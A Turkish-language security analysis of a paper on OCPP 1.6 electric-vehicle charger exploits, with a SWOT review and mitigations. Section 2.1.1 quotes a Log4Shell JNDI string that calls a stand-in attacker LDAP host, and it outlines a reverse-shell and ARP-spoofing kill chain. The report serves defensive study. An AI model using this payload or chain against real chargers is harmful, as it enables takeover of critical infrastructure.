OCPP 1.6 Uygulama Zafiyetlerinin Kapsamlı Güvenlik Analizi: "Elektrikli Araç Şarj Oturumlarının Kesintiye Uğratılması" Çalışmasının Stratejik İncelemesi

Yönetici Özeti

Küresel ulaşım sektörünün hızla elektrifikasyonu, Elektrikli Araç Tedarik Ekipmanlarının (EVSE) kitlesel olarak konuşlandırılmasını zorunlu kılmış ve bu durum, kritik altyapı topolojisini temelden değiştirmiştir. Ulaşım ağı ile elektrik şebekesi arasındaki arayüz olarak konumlanan EVSE'ler, benzersiz ve yüksek riskli bir siber-fiziksel saldırı yüzeyi oluşturmaktadır. Analiz edilen temel belge olan David Elmo, Kenneth Rohde, Sean Salinas, George Fragkos ve Junjie Zhang tarafından hazırlanan "Disrupting EV Charging Sessions and Gaining Remote Code Execution with DoS, MITM, and Code Injection Exploits using OCPP 1.6" (Elektrikli Araç Şarj Oturumlarının Kesintiye Uğratılması ve DoS, MITM ve Kod Enjeksiyonu İstismarları ile Uzaktan Kod Yürütme Kazanılması), mevcut endüstri standardı olan Open Charge Point Protocol (OCPP) 1.6j sürümünün doğasında var olan kırılganlıkların ufuk açıcı bir incelemesini sunmaktadır.[1]

Bu rapor, söz konusu çalışmanın bulgularını daha geniş siber güvenlik manzarası içinde bağlamsallaştırarak, mevcut literatür ve endüstriyel raporlarla zenginleştirilmiş ayrıntılı bir analiz sunmaktadır. Wright State Üniversitesi, Idaho Ulusal Laboratuvarı (INL) ve Sandia Ulusal Laboratuvarları bünyesindeki araştırmacılar tarafından yürütülen çalışma, çoklu yüksek önem derecesine sahip zafiyetler için kritik bir kavram kanıtı (Proof-of-Concept - PoC) görevi görmektedir. Ortadaki Adam (Machine-in-the-Middle - MITM) saldırıları, Hizmet Reddi (DoS) vektörleri ve Log4Shell aracılığıyla Uzaktan Kod Yürütme (RCE) gösterimleriyle çalışma, Operasyonel Teknoloji (OT) ortamlarında şifrelenmemiş WebSocket iletişimlerinin yarattığı sistemik risklerin altını çizmektedir.[1]

Bu analiz raporu; söz konusu istismarların derinlemesine teknik incelemesini, protokol

sürümlerinin (OCPP 1.6 vs 2.0.1) karşılaştırmalı analizini, şebeke düzeyindeki etkilerin değerlendirilmesini ve bu çalışmanın ekosistem üzerindeki etkilerini irdeleyen titiz bir Güçlü Yönler, Zayıf Yönler, Fırsatlar ve Tehditler (SWOT) analizini içerecek şekilde yapılandırılmıştır. Özellikle, "SaiFlow" zafiyetinin ayrıntıları ve şebeke istikrarı üzerindeki potansiyel "botnet" etkileri, literatürdeki ek verilerle birleştirilerek genişletilmiştir.

1. Siber-Fiziksel Şarj Peyzajına Giriş ve Stratejik Bağlam

Sıfır emisyonlu araçlara (ZEV) geçiş, artık yalnızca bir pazar trendi değil, aynı zamanda politika güdümlü bir zorunluluktur. Amerika Birleşik Devletleri'nde Altyapı Yatırım ve İstihdam Yasası (IIJA) ve Ulusal Elektrikli Araç Altyapısı (NEVI) Formül Programı, şarj ağlarını genişletmek için milyarlarca dolar tahsis etmiştir.[1] Benzer şekilde, küresel girişimler milyonlarca şarj noktasının kurulumunu teşvik etmektedir. Ancak, bu hızlı genişleme genellikle güvenlik odaklı tasarım (security-by-design) ilkelerinden ziyade dağıtım hızı ve kullanılabilirliğe öncelik vermektedir. Bu durum, siber saldırganlar için geniş ve korunmasız bir saldırı yüzeyi yaratmaktadır.

1.1 Açık Şarj Noktası Protokolünün (OCPP) Rolü ve Hakimiyeti

OCPP, elektrikli araç şarj endüstrisinin *lingua franca*sı (ortak dili) olarak hizmet vermektedir. Protokol, Şarj Noktası (Charge Point - CP) olarak adlandırılan fiziksel EVSE ile Merkezi Sistem (Central System - CS) veya Şarj Sistemi Yönetim Hizmeti (CSMS) arasındaki iletişimi kolaylaştırır. Bu protokol, şarj oturumlarının yetkilendirilmesi, sayaç değerlerinin değişimi, bellenim (firmware) güncellemeleri ve uzaktan teşhis işlemlerinin yürütülmesini sağlar.[3]

Günümüzde endüstri, büyük ölçüde OCPP 1.6 sürümü, özellikle de JSON-over-WebSockets uygulaması (OCPP 1.6j) tarafından domine edilmektedir. Taşıma Katmanı Güvenliği (TLS) zorunluluğu getiren ve güçlü kimlik doğrulama profilleri sunan halefi OCPP 2.0.1'in aksine, OCPP 1.6, şarj istasyonlarının kritik bir altyapı şebekesindeki ağ bağlantılı düğümler yerine izole cihazlar olarak görüldüğü bir dönemde tasarlanmıştır.[4] Analiz edilen belge [1], küresel şarj ağlarının büyük çoğunluğu için operasyonel standart olmaya devam eden bu eski sürüme açıkça odaklanmaktadır.

1.2 Bilişim Teknolojileri (IT) ve Operasyonel Teknolojilerin (OT) Risk

Yakınsaması

Elmo ve arkadaşlarının çalışmasında detaylandırılan zafiyetler, Bilişim Teknolojileri (IT) zafiyetlerinin (örneğin, Java kütüphanelerindeki Log4Shell) Operasyonel Teknoloji (OT) etkileriyle (örneğin, güç akışının fiziksel olarak kesilmesi) tehlikeli yakınsamasını vurgulamaktadır. Bu yakınsama, dijital bir istismarın yalnızca veri hırsızlığıyla sonuçlanmadığı, aynı zamanda kinetik sonuçlar doğurduğu bir tehdit manzarası yaratmaktadır: şarj oturumlarını durdurmak, donanıma zarar vermek veya yerel güç dağıtım şebekesini istikrarsızlaştırmak.[5]

Geleneksel IT güvenliğinde odak noktası genellikle verinin gizliliği iken, OT güvenliğinde öncelik erişilebilirlik ve güvenliktir. Elmo'nun çalışması, OCPP 1.6'daki güvenlik eksikliklerinin, bir IT saldırısı (kod enjeksiyonu) yoluyla nasıl bir OT felaketine (şarjın durdurulması veya cihazın ele geçirilmesi) dönüşebileceğini göstermektedir.

2. Hedef Çalışmanın Teknik Yapısökümü ve Genişletilmiş Analizi

Analiz edilen belgenin [1] çekirdeği, beş spesifik Kavram Kanıtı (Proof-of-Concept - PoC) istismarının gösterilmesidir. Bu istismarlar iki farklı ortamda doğrulanmıştır: Wright State Üniversitesi'ndeki sanallaştırılmış bir OCPP Siber Poligonu ve Idaho Ulusal Laboratuvarı'ndaki 350 kW'lık Doğru Akım Hızlı Şarj Cihazı (DCFC) kullanan fiziksel bir test yatağı. Bu ikili ortam yaklaşımı, bulgulara önemli bir güvenilirlik kazandırmakta, teorik zafiyet ile pratik istismar edilebilirlik arasındaki boşluğu doldurmaktadır.

2.1 Zafiyet 1: Log4Shell Aracılığıyla Uzaktan Kod Yürütme (PoC #1)

Gösterilen en kritik zafiyet, EVSE'nin bellenim güncelleme mekanizması içinde Log4Shell (CVE-2021-44228) açığının istismar edilmesidir. Bu zafiyet, yalnızca şarj istasyonlarını değil, aynı zamanda bağlantılı araçların bilgi-eğlence sistemlerini (IVI) ve anahtarsız giriş sistemlerini de etkileyen geniş bir saldırı yüzeyine sahiptir.[7]

2.1.1 Saldırı Mekanizması ve Derinlemesine Analiz

Saldırı, Log4j kayıt kütüphanesinde (2.15.0 öncesi sürümler) bulunan Java İsimlendirme ve Dizin Arayüzü (JNDI) enjeksiyon zafiyetinden yararlanır. Araştırmacılar, Ortadaki Adam (MITM) pozisyonuna dayalı bir "kill chain" (saldırı zinciri) oluşturmuşlardır.

1. **Araya Girme (Interception):** Saldırgan, EVSE ile CSMS arasındaki trafiği kesmek için ARP zehirlemesi (spoofing) gerçekleştirir. Bu aşamada, yerel ağdaki trafiğin akış yönü değiştirilerek saldırganın cihazı üzerinden geçmesi sağlanır.[1]
2. **Güncellemeyi Tetikleme:** CSMS, standart bir UpdateFirmware isteği gönderir. Bu istek, şarj cihazına yeni bir yazılım sürümünü nereden indireceğini söyler.
3. **Yük Enjeksiyonu (Payload Injection):** Saldırgan, şifrelenmemiş WebSocket yükünü değiştirir. Özellikle, bellenim güncellemesinin location (konum) alanı, saldırgan tarafından kontrol edilen kötü amaçlı bir FTP sunucusunu gösterecek şekilde değiştirilir ve dosya adı, kötü amaçlı bir JNDI dizesi içeren bir yapılandırma dosyası (malicious.conf) ile değiştirilir.[9]
4. **Yürütme (Execution):** EVSE üzerindeki Java tabanlı yönetim yazılımı, bu yapılandırma dosyasının alındığını kaydetmeye (loglamaya) çalıştığında, JNDI dizesi ({jndi:ldap://attacker_ip/Exploit}) kötü amaçlı bir LDAP sunucusuna arama (lookup) isteği tetikler.[10]
5. **Serileştirmeyi Bozma (Deserialization):** EVSE, saldırganın sunucusundan kötü amaçlı bir Java sınıfını (Exploit.class) indirir ve serileştirmeyi bozarak (deserialize) gömülü yükü çalıştırır.

2.1.2 Etki: Kök (Root) Erişimi ve Sistem Hakimiyeti

Araştırmacılar tarafından kullanılan yük, saldırgana EVSE üzerinde bir kök kabuğu (root shell) sağlayan tersine bir Netcat bağlantısı açmıştır.[1] Bu erişim seviyesi felakettir. Kök erişimine sahip bir saldırgan şunları yapabilir:

- **Güvenlik Limitlerini Aşma:** Aşırı akım korumaları gibi yazılımsal güvenlik sınırlarını devre dışı bırakarak fiziksel hasara neden olabilir.
- **Yanal Hareket (Lateral Movement):** Şarj kablosu üzerinden Güç Hattı İletişimi (PLC) enjeksiyonu yoluyla aracın Kontrolör Alan Ağına (CAN bus) sızmaya çalışabilir.
- **Kalıcılık Sağlama:** Tespit edilmeyi zorlaştıran kalıcı arka kapılar (backdoors) veya fidye yazılımları yükleyebilir.
- **Botnet Dahiliyeti:** EVSE'yi, CSMS'e veya şebekeye saldırmak için bir botnet düğümü olarak kullanabilir.

Bu PoC, bellenim güncelleme sürecinin—güvenliği artırması amaçlanan bir mekanizmanın—taşıma katmanı şifrelenmediğinde ve yazılım yığını savunmasız olduğunda

cihazı tamamen ele geçirmek için nasıl silahlandırılabileceğini göstermektedir.

2.2 Zafiyet 2: MITM ile Şarj Oturumunun Sonlandırılması (PoC #2)

İkinci istismar, şarj hizmetinin sürekliliğini ve kullanılabilirliğini hedef alır. OCPP 1.6j genellikle şifrelenmemiş WebSockets (ws://) üzerinden çalıştığından, tüm trafik aynı ağ segmentindeki (veya yoldaki bir yönlendiriciyi ele geçirmiş) bir saldırgan tarafından görülebilir ve değiştirilebilir.

2.2.1 Trafik Manipülasyonu ve Paket Enjeksiyonu

Araştırmacılar, ARP zehirlemesi için Ettercap ve WebSocket manipülasyonu için mitmproxy gibi araçlar kullanarak, meşru bir StartTransaction (İşlem Başlat) mesajını yakalamışlardır. Daha sonra, CSMS gibi davranarak sahte bir RemoteStopTransaction (İşlemi Uzaktan Durdur) mesajı enjekte etmişlerdir.[1]

2.2.2 Güvenilirlik ve Finansal Etkiler

EVSE, mesaj bütünlüğü kontrollerinin (imzalar) veya şifrelemenin olmaması nedeniyle meşru CSMS ile saldırganı ayırt edemez; komutu kabul eder ve oturumu sonlandırır. Bu saldırının Şarj Noktası Operatörleri (CPO'lar) için anında finansal etkileri vardır ve EV sürücüleri için hizmet reddine neden olur. Koordineli bir saldırı senaryosunda, binlerce yüksek güçlü şarj oturumunun aynı anda durdurulması, güç şebekesinde ani yük düşüşlerine neden olarak frekans istikrarsızlığına yol açabilir.[11] Bu durum, sadece tekil bir kullanıcıyı değil, bölgesel enerji dağıtımını tehdit eden stratejik bir risk oluşturur.

2.3 Zafiyet 3: Bellenim Yoluyla Kod Enjeksiyonu (PoC #3)

Log4Shell istismarından farklı olarak, bu PoC, EVSE'nin bellenim işleme rutinlerinde girdi temizleme (sanitization) ve doğrulama eksikliğine odaklanmıştır. Araştırmacılar, EVSE'nin dijital

bir imzayı doğrulamadan bir bellenim paketini kabul edip yürüteceğini göstermişlerdir.

Bellenim güncellemesini, yeni bir kullanıcı hesabı ekleyen bir komut dosyası içerecek şekilde değiştirerek kalıcı erişim elde etmişlerdir. Bu, cihaz yazılımının "Tedarik Zinciri"nde bir başarısızlığı vurgular. OCPP protokolü, CSMS'in şarj cihazına bellenimi *nereden* alacağını söylemesine izin verir, ancak bellenimin *doğrulanması* cihaz üreticisinin sorumluluğundadır. Çalışma, birçok üreticinin kod imzalamayı uygulamada başarısız olduğunu ve şifrelenmemiş OCPP 1.6 ortamlarında yanlış yerleştirilmiş bir güven olan taşıma kanalına zımnen güvendiğini ortaya koymaktadır.

2.4 Zafiyet 4 & 5: CSMS Üzerinde Hizmet Reddi (DoS) ve SaiFlow Bulguları

Çalışma, CSMS'in erişilebilirliğini hedefleyen iki tür DoS saldırısını araştırmaktadır.

2.4.1 Kaynak Tüketimi (PoC #4)

CSMS sunucusuna karşı klasik bir SYN flood saldırısı gerçekleştirilmiştir.[12] Bu saldırı, TCP el sıkışma sürecini (three-way handshake) istismar ederek sunucunun kaynaklarını tüketir. Etkili olmakla birlikte, bu OCPP'ye özgü olmayan genel bir ağ saldırısıdır.

2.4.2 "SaiFlow" Zafiyeti (PoC #5): Mantıksal DoS

Bu zafiyet, protokol mantığındaki bir eksiklikten kaynaklanmaktadır. Araştırmacılar, SaiFlow tarafından bildirilen çalışmalara atıfta bulunarak [10], OCPP 1.6'nın bir CSMS'in aynı Şarj Noktası Kimliği'nden (Charge Point ID) gelen birden fazla bağlantıyı nasıl ele alması gerektiğini kesin olarak tanımlamadığını göstermişlerdir.

- **Saldırı Yöntemi:** Saldırgan, hedef şarj cihazının kimliğini taklit ederek CSMS'e "yeni" bir bağlantı açar.
- **Sonuç (Körleme):** CSMS, bu yeni bağlantıyı meşru cihazdan geliyormuş gibi kabul edebilir. Uygulamaya bağlı olarak, CSMS ya orijinal meşru bağlantıyı düşürür ya da yanıtları saldırganın bağlantısına yönlendirir.
- **Etki:** Bu durum, operatörü etkili bir şekilde "körleştirir"; gerçek istasyonu izlemesini veya

kontrol etmesini engeller. CSMS, şarj cihazının "çevrimiçi" olduğunu düşünürken, gerçek cihazla iletişim kopmuştur. SaiFlow araştırması, bu durumun enerji hırsızlığına veya operasyonel körlüğe yol açabileceğini belirtmektedir.[13]

3. Belge ve Araştırmanın Detaylı SWOT Analizi

Kullanıcının özel isteği üzerine, bu bölüm "Disrupting EV Charging Sessions..." [1] belgesinin analizine bir SWOT (Güçlü Yönler, Zayıf Yönler, Fırsatlar ve Tehditler) çerçevesi uygulamaktadır. Bu analiz, araştırmanın kalitesini, bulguların geçerliliğini ve çalışmanın stratejik sonuçlarını değerlendirir.

3.1 Güçlü Yönler (Strengths)

Bu çalışmanın birincil gücü, **kritik altyapı donanımı kullanılarak yapılan ampirik doğrulamadır**. Birçok akademik makale yalnızca simülasyona dayanırken, Elmo ve ekibi Idaho Ulusal Laboratuvarı'nda (INL) bulunan 350 kW'lık bir DCFC kullanmıştır. Bu, bulgulara reddedilemez bir ağırlık kazandırmaktadır; bunlar teorik zafiyetler değil, konuşlandırılmış donanımlardaki aktif risklerdir.

- **Kinetik Etkinin Gösterilmesi:** Çalışma, soyut siber güvenlik kavramlarının ötesine geçerek somut operasyonel etkileri göstermektedir: elektrik akışını durdurmak ve yüksek voltajlı ekipmanın kök kontrolünü ele geçirmek.
- **Disiplinlerarası Yaklaşım:** Akademik araştırmacılar (Wright State) ve ulusal laboratuvarlar (INL, Sandia) arasındaki işbirliği, analizin hem bilgisayar bilimi ilkelerini hem de güç sistemleri mühendisliği gerçeklerini dikkate almasını sağlamaktadır.[14]
- **Pratik Azaltma Önerisi:** Yazarlar sadece kusurları belirlemekle kalmayıp, belirli bir çözümü önermiş ve doğrulamışlardır: SSH tünelleme. Güvensiz OCPP 1.6 trafiğini şifreli bir SSH tüneline nasıl saracaklarını gösteren bir ağ mimarisi şeması sunarak [1], OCPP 2.0.1'i destekleyemeyen eski ekipmanlar için bir güçlendirme (retrofit) çözümü sunmaktadırlar.
- **Kapsamlı Saldırı Yüzeyi Kapsamı:** Makale, bilgi güvenliğinin üçlüsünü—Gizlilik (MITM), Bütünlük (Kod Enjeksiyonu) ve Erişilebilirlik (DoS)—kapsayarak risk profilinin bütünsel bir görünümünü sunmaktadır.

3.2 Zayıf Yönler (Weaknesses)

Sağlamlığına rağmen, çalışma kapsamı ve zamanlamasıyla ilgili bazı sınırlamalar sergilemektedir.

- **Belirli Zafiyetlere Bağımlılık:** Yüksek etkili PoC #1, Log4Shell'e dayanmaktadır. Bu kritik bir zafiyet olsa da, bir protokol kusuru değil, belirli bir yazılım kütüphanesi hatasıdır. Yamalı bir sistem, OCPP kanalı şifrelenmemiş kalsa bile bu belirli vektöre karşı bağışık olacaktır. Makale, uygulama hatalarını (Log4j) protokol hatalarıyla (açık metin OCPP) birleştirmektedir.
- **Sınırlı Donanım Örneklemi:** Fiziksel testler, belirli (adı verilmeyen) bir 350 kW DCFC üzerinde gerçekleştirilmiştir. Bellenim doğrulama hatasının (PoC #3) tüm üreticilerde sistemik mi yoksa o belirli satıcıya mı özgü olduğu belirsizdir.
- **SSH Ölçeklenebilirlik Endişeleri:** SSH tünelleme azaltması teknik olarak sağlam olsa da, rapor binlerce dağıtılmış EVSE için SSH anahtarlarını yönetmenin operasyonel karmaşıklığını tam olarak ele almamaktadır. CPO'lar için geniş ölçekte bir Açık Anahtar Altyapısı (PKI) yönetmek önemsiz bir iş değildir.
- **Standart TLS Analizi Eksikliği:** OCPP 1.6'yı güvence altına almak için endüstri standardı çözüm, TLS kullanan wss:// (WebSocket Secure) bağlamasıdır. Makale, alternatif olarak SSH tünellemeye yoğun bir şekilde odaklanmakta, ancak standart TLS uygulamasına karşı karşılaştırmalı bir performans veya karmaşıklık analizi sunmamaktadır.

3.3 Fırsatlar (Opportunities)

Bu raporun bulguları, endüstri ve gelecekteki araştırmalar için çeşitli stratejik yollar açmaktadır.

- **Düzenleyici Uygulama:** Bu çalışma, düzenleyicilerin (ABD'deki Ortak Enerji ve Ulaşım Ofisi gibi) NEVI tarafından finanse edilen projeler için ISO 15118-20 ve OCPP 2.0.1'de belirtilenler gibi katı siber güvenlik standartlarını zorunlu kılması için gereken teknik kanıtları sağlamaktadır.
- **Güvenlik Ağ Geçitleri Pazarı:** Donanım satıcılarının, eski EVSE ile ağ arasında duran, makalede açıklanan SSH/TLS şifrelemesini işleyen ve tam donanım değişimi gerektirmeden güvensiz şarj cihazlarını etkili bir şekilde "saran" (wrapper) "yan sepet" (sidecar) güvenlik ağ geçitleri geliştirmesi için ticari bir fırsat vardır.
- **Saldırı Tespit Sistemi (IDS) İyileştirmesi:** Saldırıların belirli imzaları (örneğin, "SaiFlow" çoklu bağlantı girişimi, bellenim alanlarındaki belirli JNDI dizeleri), OT'ye özgü IDS için Snort/Suricata kuralları oluşturmak üzere kullanılabilir ve CPO'ların izleme yeteneklerini artırabilir.
- **Eski Cihaz Ömrünü Uzatma:** Endüstri, eski OCPP 1.6 cihazlarının operasyonel ömrünü uzatırken riski azaltmak için bu araştırmayı standartlaştırılmış bir "güvenli sarma" protokolü geliştirmek için kullanabilir.

3.4 Tehditler (Threats)

Bu zafiyetlerin yayınlanması ve ayrıntılı analizi de belirgin riskler sunmaktadır.

- **"Kılavuz" Etkisi:** Kullanılan belirli alanları (örneğin firmwareLocation) ve yöntemleri (ARP spoofing) detaylandırarak, makale daha az yetenekli aktörlerin (script kiddies) yamasız altyapıya karşı bu istismarları silahlandırması için bir rehber görevi görmektedir.
- **Kamu Güveninin Erozyonu:** Bu istismarlar "doğada" (in the wild) gerçekleştirilirse—sürücüleri yolda bırakarak veya yerel kesintilere neden olarak—elektrikli araçların benimsenmesine olan kamu güvenine önemli ölçüde zarar verebilir ve yeşil enerjiye geçişi yavaşlatabilir.
- **Şebeke İstikrarı Riskleri:** 350 kW'lık yüklerin uzaktan değiştirilebileceğinin doğrulanması, bu tür cihazlardan oluşan bir botnetin "Yük Değiştirme Saldırıları" (LAA) için kullanılabileceğini düşündürmektedir. İlgili araştırmalarda [5] belirtildiği gibi, yüksek güçlü yüklerin senkronize anahtarlanması, şebeke koruma rölelerini tetikleyen frekans sapmalarına neden olabilir ve potansiyel olarak daha geniş kesintilere yol açabilir.
- **Tedarik Zinciri Kırılganlığı:** Araştırma, "güven sınırının" bellenim deposuna kadar uzandığını ortaya koymaktadır. Bir saldırgan, satıcının FTP sunucusunu tehlikeye atarsa (MITM saldırısında simüle edildiği gibi), kötü amaçlı kodu tüm filoya gönderebilir.

Özet Tablo: Araştırma Raporunun SWOT Analizi

Kategori	Temel Noktalar	Stratejik Çıkarım
Güçlü Yönler	• Gerçek 350 kW DCFC donanımı kullanımı. • Log4Shell ile kök erişiminin kanıtlanması. • SSH tünelleme azaltmasının doğrulanması. • Disiplinlerarası yazarlık (INL, Sandia, Wright State).	Yüksek güvenilirlik; CPO'lar ve donanım satıcılarının yamalamaya öncelik vermesi için eyleme geçirilebilir veriler.

Zayıf Yönler	• Log4j odaklı (protokolden ziyade uygulama). • Standart TLS (wss://) tartışmasının sınırlı olması. • SSH anahtar yönetiminin ölçeklenebilirliğinin ele alınmaması. • Tek donanım satıcısının test edilmesi.	Bulgular, sistemik protokol hataları yerine bazıları tarafından "yamalı yazılım sorunları" olarak reddedilebilir.
Fırsatlar	• NEVI siber güvenlik zorunlulukları için gerekçe. • "Güvenlik Ağ Geçidi" donanımı için pazar. • OCPP'ye özgü IDS imzalarının geliştirilmesi. • Eski cihaz ömrü için protokol sarıcıları.	Tasarımla Güvenlik (Secure-by-Design) geçişini hızlandırır; OT güvenlik satıcıları için yeni pazar segmentleri yaratır.
Tehditler	• Saldırganlar için plan/taslak oluşturması. • Şebeke üzerinde "Yük Değiştirme Saldırıları" riski. • EV güvenilirliğinde kamu güveni kaybı. • Tedarik zinciri (bellenim) zayıflıklarının ifşası.	Endüstri çapında zafiyet ifşası ve hızlı yama döngüleri için acil ihtiyaç.

4. Protokol Analizi: OCPP 1.6 vs 2.0.1

Elmo ve ekibinin makalesinin önemini tam olarak anlamak için, protokol ortamını analiz etmek gerekir. İstismar edilen zafiyetler, büyük ölçüde güvenlik yerine basitlik ve birlikte çalışabilirliğe öncelik veren OCPP 1.6'nın tasarım felsefesinin eserleridir.

4.1 OCPP 1.6'daki Güvensizlik Mimarisi

OCPP 1.6, eski SOAP/XML uygulamasına kıyasla veri kullanımını azaltmak için JSON-over-WebSockets bağlamasını (OCPP 1.6j) tanıtmıştır.[4] Ancak, güvenliği *zorunlu* kılmamıştır.

- **İsteğe Bağlı Şifreleme:** wss:// (TLS) desteklense de, genellikle varsayılan olarak uygulanmaz. Birçok CPO ve EVSE, sertifika yönetimi karmaşıklığından kaçınmak için varsayılan olarak ws:// (açık metin) kullanır.[1]
- **Zayıf Kimlik Doğrulama:** Kimlik doğrulama genellikle WebSocket URL'sindeki basit bir Şarj Noktası Kimliği'ne (Charge Point ID) veya açık metin akışlarında kolayca koklanabilen (sniffing) Temel Kimlik Doğrulama (Basic Auth) başlıklarına dayanır.
- **Belirsizlik:** "SaiFlow" zafiyetinin analizinde belirtildiği gibi [10], spesifikasyon bağlantı işleme konusunda belirsizdir ve DoS saldırılarına izin veren mantık hatalarına yol açar.

4.2 OCPP 2.0.1'in Paradigma Değişimi

OCPP 2.0.1, analiz edilen belgede tanımlanan riskleri doğrudan azaltan özellikler sunarak protokolün tamamen elden geçirilmesini temsil eder.

- **Zorunlu TLS:** OCPP 2.0.1, tüm iletişimler için TLS şifrelemesini gerektirir, bu da Elmo ve ekibi tarafından gösterilen MITM ve ARP zehirlemesi saldırılarını etkisiz hale getirir.[4]
- **Güvenlik Profilleri:** Üç güvenlik profili sunar. Örneğin Profil 3, istemci tarafı sertifikaları (karşılıklı TLS veya mTLS) gerektirir; bu da CSMS'in EVSE'nin kimliğini doğrulamasını sağlayarak "SaiFlow" taklit saldırısını önler.[16]
- **Bellenim İmzalama:** OCPP 2.0.1, PoC #3'ü doğrudan ele alarak, imzalama sertifikalarının değişimi ve kurulumdan önce imza doğrulaması dahil olmak üzere güvenli bellenim güncellemeleri için açık destek içerir.[16]
- **Cihaz Yönetimi:** Yeni protokol, EVSE'yi bileşen hiyerarşisine sahip karmaşık bir sistem olarak ele alır ve yazılım sürümlerinin ve potansiyel zafiyetlerin daha ayrıntılı izlenmesine olanak tanır.[3]

4.3 Geçiş Zorluğu (Migration Gap)

OCPP 2.0.1'in açık üstünlüğüne rağmen, endüstri 1.6'ya bağlı kalmaya devam etmektedir. Geçiş şu nedenlerle engellenmektedir:

1. **Geriye Dönük Uyumsuzluk:** OCPP 2.0.1 geriye dönük uyumlu değildir. SOAP'ı tamamen kaldırır ve mesaj yapısını değiştirir (örneğin, işlem mesajlarını TransactionEvent içinde birleştirir).[17]
2. **Donanım Sınırlamaları:** Eski EVSE kontrolörleri, TLS ve sertifika yönetiminin kriptografik yükünü kaldıracak işlem gücüne veya belleğe sahip olmayabilir.
3. **Maliyet:** mTLS için bir PKI altyapısı uygulamak, daha küçük CPO'lar için pahalı ve operasyonel olarak karmaşıktır.[19]

Bu "geçiş boşluğu", Elmo ve ekibi tarafından önerilen azaltma stratejilerini—özellikle SSH tünelleme—gelecek on yılın eski altyapı operasyonları için hayati bir köprü çözümü haline getirmektedir.

5. Kritik Altyapı ve Şebeke İçin Sonuçlar: MaDEVIoT Tehdidi

Analiz edilen araştırmanın en endişe verici yönü veri hırsızlığı değil, fiziksel bozulma potansiyelidir. EV şarj ağı, gigawattlarca güç çekebilen bir Dağıtık Enerji Kaynağıdır (DER).

5.1 Botnet Tehdidi ve Yük Değiştirme Saldırıları (LAA)

Araştırmacılar, 350 kW'lık bir şarj cihazına başarıyla kök erişimi sağlamışlardır. Bir saldırgan bu istismarı binlerce şarj cihazından oluşan bir ağda otomatize ederse (örneğin, solucan özellikli bir Log4Shell istismarı kullanarak), devasa, anahtarlanabilir bir yükü kontrol edebilir.

- **Senkronize Yük Atma:** 1 GW'lık yükü (yaklaşık 3.000 DCFC) anında kesmek, şebekede bir frekans sıçramasına neden olabilir.
- **Senkronize Yükleme:** 1 GW'lık yükü anında devreye sokmak, frekans düşüşlerine ve voltaj çökmesine neden olabilir.

- **Salınım Saldırıları:** Şarjı hızla açıp kapatmak ("MadIoT" saldırısı), transformatörlere zarar verebilecek ve jeneratörleri devre dışı bırakabilecek elektromekanik salınımlara neden olabilir.[6]

5.2 Manhattan Senaryosu ve MaDEVIoT Kavramı

Son araştırmalar bu tehdidi "MaDEVIoT" (Manipulation of Demand via IoT - IoT ile Talebin Manipülasyonu) olarak nitelendirmektedir. Çalışmalar, Manhattan gibi yüksek yoğunluklu alanlarda, tek bir CPO'nun sunucusunun ele geçirilmesinin, hat aşırı yüklenmelerine ve sistem genelinde elektrik kesintilerine neden olacak kadar yükü manipüle etmesine izin verebileceğini göstermektedir.[6] Elmo ve ekibinin makalesi, bu saldırı zincirinin ilk adımı için "nasıl yapılır" bilgisini sunmaktadır: bireysel düğümlerin ele geçirilmesi. Bu, şarj istasyonlarının sadece birer "priz" değil, ulusal güvenlik açısından kritik öneme sahip birer siber varlık olduğunu kanıtlamaktadır.

6. Azaltma Stratejileri ve Çözüm Önerileri

Belge, birincil azaltma yöntemi olarak SSH tünellemeyi önermektedir. Bu bölüm, bu öneriyi değerlendirmekte ve endüstriyel en iyi uygulamalarla genişletmektedir.

6.1 SSH Tünelleme (Önerilen Çözüm)

Yazarlar, OCPP trafiğini bir SSH tüneline sarmanın MITM saldırılarını etkili bir şekilde önlediğini göstermişlerdir.[10]

- **Mekanizma:** EVSE, CSMS'e (veya bir ağ geçidine) giden bir SSH bağlantısı kurar. OCPP trafiği daha sonra bu şifreli tünel üzerinden yönlendirilir.
- **Artılar:** Güçlü şifreleme, karşılıklı kimlik doğrulama (SSH anahtarları aracılığıyla) ve protokol yığınını değiştirmeden mevcut OCPP 1.6j uygulamalarıyla çalışır.
- **Eksiler:** CSMS tarafında bir SSH sunucusu ve SSH anahtarlarının yönetimini gerektirir. Kapsülleme ek yükü ekler.[1]

6.2 Taşıma Katmanı Güvenliği (TLS) ve AWS IoT Core

Endüstri standardı yaklaşım wss:// uygulamaktır. AWS IoT Core gibi bulut tabanlı çözümler, ölçeklenebilir TLS yönetimi sunarak bu süreci kolaylaştırabilir.[21]

- **Uygulama:** EVSE üzerine güvenilir bir Kök CA sertifikası ve CSMS üzerine bir sunucu sertifikası yüklemeyi gerektirir.
- **Etkililik:** Yükü şifreler, MITM ve paket incelemesini önler.
- **Boşluk:** Standart TLS (yalnızca sunucu tarafı), *istemcinin* (EVSE) kimliğini doğrulamaz, bu da Temel Kimlik Doğrulama veya diğer uygulama katmanı kimlik doğrulaması kullanılmadıkça sistemi "SaiFlow" yetkisiz bağlantı saldırısına karşı savunmasız bırakır.

6.3 Ağ Segmentasyonu ve Güvenlik Duvarları

Çalışma, SYN flood DoS'un güvenlik duvarları ile azaltılabileceğini öne sürmektedir.

- **İzin Listesi (Allow-listing):** CSMS, yalnızca bilinen IP aralıklarından gelen bağlantıları kabul etmeli veya VPN bağlantısı gerektirmelidir.
- **Sıfır Güven Mimarisi (Zero Trust):** EVSE'leri, CPO'nun kurumsal ağından ve şebekenin OT ağından ayrılmış özel bir DMZ'ye yerleştirmek, bir şarj cihazı ele geçirilirse yanal hareketi önler.[22]

6.4 Bellenim Doğrulama (Code Signing)

PoC #3'teki zafiyeti gidermek için, üreticilerin "Güvenli Önyükleme" (Secure Boot) ve bellenim imza doğrulaması uygulaması şarttır. EVSE, dijital imzası üreticinin genel anahtarı ile doğrulanmayan hiçbir güncellemeyi kabul etmemelidir. Bu, protokolün şifrelenmemiş olduğu durumlarda bile cihazın bütünlüğünü korur.

7. Sonuç

"Disrupting EV Charging Sessions..." başlıklı araştırma raporu, kritik altyapı siber güvenliği alanına hayati bir katkıdır. Bu rapor, muhtemelen dayanıklı mimari yerine hızlı dağıtıma öncelik veren bir endüstri için bir uyarı niteliğindedir. Eski protokollerin (OCPP 1.6) ve yaygın yazılım zafiyetlerinin (Log4Shell), yüksek güçlü varlıklar üzerinde kök kontrolü elde etmek için nasıl birleştirilebileceğini ampirik olarak gösteren yazarlar, elektrik şebekesi için açık ve mevcut bir tehlikeyi vurgulamışlardır.

